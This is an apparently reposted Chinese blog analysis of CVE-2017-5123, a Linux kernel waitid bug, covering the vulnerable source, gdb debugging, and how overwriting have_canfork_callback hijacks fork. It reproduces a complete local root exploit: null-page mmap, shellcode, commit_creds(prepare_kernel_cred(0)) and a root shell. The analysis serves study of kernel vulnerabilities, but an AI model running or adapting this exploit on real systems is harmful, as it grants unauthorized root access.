CVE-2017-5123 waitid 漏洞提权分析

漏洞代码分析

waitid源码

SYSCALL_DEFINE5(waitid, int, which, pid_t, upid, struct siginfo __user *,
		infop, int, options, struct rusage __user *, ru)
{
	struct rusage r;
	struct waitid_info info = {.status = 0};
	long err = kernel_waitid(which, upid, &info, options, ru ? &r : NULL);
	int signo = 0;
	if (err > 0) {
		signo = SIGCHLD;
		err = 0;
	}

	/* infoleak 将 rusage 结构体复制到用户空间
	 * 用户空间在这个结构体里搜寻,获取指针并掩码就能得到内核基址
	 */
	if (!err) {
		if (ru && copy_to_user(ru, &r, sizeof(struct rusage)))
			return -EFAULT;
	}
	if (!infop)
		return err;

	/* 这里没有调用 access_ok 检查,导致任意内存写
	 * 注意,这里可以直接传递内核空间的指针
	 * 需要涂抹的地址可以透过偏移量加上内核基址得到	
	 */
	user_access_begin();
	unsafe_put_user(signo, &infop->si_signo, Efault);
	unsafe_put_user(0, &infop->si_errno, Efault);
	unsafe_put_user((short)info.cause, &infop->si_code, Efault);
	unsafe_put_user(info.pid, &infop->si_pid, Efault);
	unsafe_put_user(info.uid, &infop->si_uid, Efault);
	unsafe_put_user(info.status, &infop->si_status, Efault);
	user_access_end();
	return err;
Efault:
	user_access_end();
	return -EFAULT;
}

内核定义了一系列函数与用户态内存进行交互,包括copy_from_user ,copy_to_user,put_user等,这些函数中会调用access_ok检查传入的地址是否属于用户区,之后调用user_access_begin() user_access_end分别开启和禁用smap。为了减少检查开销,linux内核定义了unsafe_put_user函数,但waitid在调用前没有进行access_ok检查,因此可以传入内核地址,任意内核写,但是利用条件会将第一个int写为0x11,第二个int写为0.因此采取的方法是改写have_canfork_callback变量。将其第一个字节改为0x11进而执行未定义的can_fork,并mmap 0地址,写入shellcode。完成提权。 此次利用必须在关闭了mmap_min_addr 和 smep保护的前提下。 参照github上的利用代码进行分析 https://github.com/nongiach/CVE/blob/master/CVE-2017-5123/exploit/exploit_null_ptr_deref.c

fork利用过程

fork源码分析

fork系统调用最终会调用do_fork,在do_fork中,会调用copy_process函数为子进程复制一份进程信息。
copy_process源码中调用了cgroup_can_fork函数。
在这里插入图片描述
cgroup_can_fork函数中调用了do_each_subsys_mask()
在这里插入图片描述
do_each_subsys_mask会调用for_each_set_bit函数

在这里插入图片描述
for_each_set_bit会调用find_first_bit和find_next_bit,会搜索传入的have_canfork_callback变量,最终返回值ssid是位图中小于cgrou_subsys_count的最后一位1的索引值。

在这里插入图片描述

cgroup_subsys是一个全局的cgroup_subsys struct的数组,其中保存了一系列函数指针。cgroup需要用户自定义,未定以,其can_fork函数指针为null。cgroup_can_fork也不会调用cgroup_subsys的can_fork,而是直接返回0。但是waitid将第一个字节改写为0x11 即010001。默认的CGROUP_SUBSYS_COUNT值为4,因此会调用第一个cgroup_subsys的canfork,即0地址。此时,利用代码mmap了0地址,并将shellcode放置在0地址处,fork即可劫持控制流,完成提权。

具体调试过程

采用qume起系统,gdb调试

用这个脚本生成kallsyms
mkdir /pro mount -t proc none /proc exec fgrep _text /proc/kallsyms | head -n 1

在kallsyms中搜索cgroup_can_fork地址,并在gdb中下断点。
在这里插入图片描述
在这里插入图片描述
随便运行一条命令,bash会调用fork,在我们的断点处停下,查看汇编代码:

在这里插入图片描述
0xffffffff81f3f45a处即为全局变量have_canfork_callback变量。之后打印调用了find_first_bit之后的返回值:
在这里插入图片描述
可以看到,如果返回值大于三即跳转到结束处。可见cgroup_subsys全局数组的数量默认是4个。如果小于3,继续执行
在这里插入图片描述
r12的值为0xffffffff81e4bb60,为全局cgroup_subsys数组,
在这里插入图片描述
普通的fork默认是没有定义cgroup的can_fork,因此have_canfork_callback的值为0x0000000000,其返回值为4,因为传入的参数为4,大于3,直接跳转至结束处

在这里插入图片描述

当利用waitid漏洞之后,再看全局变量:

在这里插入图片描述
全局变量已经变为0x11,即10001,调用find_first_bit返回值变为0x0,

在这里插入图片描述
查看第一个cgroup_subsys的can_fork(偏移量0x50)

在这里插入图片描述在这里插入图片描述

发现已经是0x000

利用脚本分析

本次分析的是github上的漏洞利用代码:

#define _GNU_SOURCE

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/mman.h>
#include <string.h>

struct cred;
struct task_struct;
 
typedef struct cred *(*prepare_kernel_cred_t) (struct task_struct *daemon) __attribute__((regparm(3)));
typedef int (*commit_creds_t) (struct cred *new) __attribute__((regparm(3)));
 
prepare_kernel_cred_t   prepare_kernel_cred;
commit_creds_t    commit_creds;
 
void get_shell() {
  char *argv[] = {"/bin/sh", NULL};
 
  if (getuid() == 0){
    printf("[+] Root shell success !! :)\n");
    execve("/bin/sh", argv, NULL);
  }
  printf("[-] failed to get root shell :(\n");
}
 
void get_root() {
  if (commit_creds && prepare_kernel_cred)
    commit_creds(prepare_kernel_cred(0));
}
 
unsigned long get_kernel_sym(char *name)
{
  FILE *f;
  unsigned long addr;
  char dummy;
  char sname[256];
  int ret = 0;
 
  f = fopen("/proc/kallsyms", "r");
  if (f == NULL) {
    printf("[-] Failed to open /proc/kallsyms\n");
    exit(-1);
  }
  printf("[+] Find %s...\n", name);
  while(ret != EOF) {
    ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
    if (ret == 0) {
      fscanf(f, "%s\n", sname);
      continue;
    }
    if (!strcmp(name, sname)) {
      fclose(f);
      printf("[+] Found %s at %lx\n", name, addr);
      return addr;
    }
  }
  fclose(f);
  return 0;
}

int main(int ac, char **av)
{
	static const unsigned char shellcode[] = {
		0xFF, 0x24, 0x25, 0x08, 0x00, 0x00, 0x00, 0x00,
	};

	if (ac != 2) {
		printf("./exploit kernel_offset\n");
		printf("exemple = 0xffffffff81f3f45a");
		return EXIT_FAILURE;
	}

	// 2 - Appel de la fonction get_kernel_sym pour rcuperer dans le /proc/kallsyms les adresses des fonctions
	prepare_kernel_cred = (prepare_kernel_cred_t)get_kernel_sym("prepare_kernel_cred");
	commit_creds = (commit_creds_t)get_kernel_sym("commit_creds");
	// have_canfork_callback offset <= rendre dynamique aussi
	
	pid_t     pid;
	/* siginfo_t info; */

	// 1 - Mapper la mmoire  l'adresse 0x0000000000000000
	printf("[+] Try to allocat 0x00000000...\n");
	if (mmap(0, 4096, PROT_READ|PROT_WRITE|PROT_EXEC,MAP_ANON|MAP_PRIVATE|MAP_FIXED, -1, 0) == (char *)-1){
		printf("[-] Failed to allocat 0x00000000\n");
		return -1;
	}
	printf("[+] Allocation success !\n");

	memcpy(0, shellcode, sizeof(shellcode));
	*(unsigned long*)sizeof(shellcode) = (unsigned long)get_root;

	if(-1 == (pid = fork())) {
		perror("fork()");
		return EXIT_FAILURE;
	}

	if(pid == 0) {
		_exit(0xDEADBEEF);
		perror("son");
		return EXIT_FAILURE;
	}

	siginfo_t *ptr = (siginfo_t*)strtoul(av[1], (char**)0, 0);
	waitid(P_PID, pid, ptr, WEXITED | WSTOPPED | WCONTINUED);

// TRIGGER
	pid = fork();
	printf("fork_ret = %d\n", pid);	
	if (pid > 0)
		get_shell();
	return EXIT_SUCCESS;
}

简单说一下流程:mmap 0地址,之后将shellcode放入:
0xFF, 0x24, 0x25, 0x08,
并将getroot的地址放入,直接跳转到getroot执行,之后调用system在root下产生一个shell,完成提权。

参考:

https://github.com/nongiach/CVE/blob/master/CVE-2017-5123/exploit/exploit_null_ptr_deref.c

https://paper.seebug.org/451/

http://blog.luoyuanhang.com/2015/07/27/分析Linux内核创建一个新进程的过程/

猜你喜欢

转载自blog.csdn.net/weixin_41918450/article/details/82821699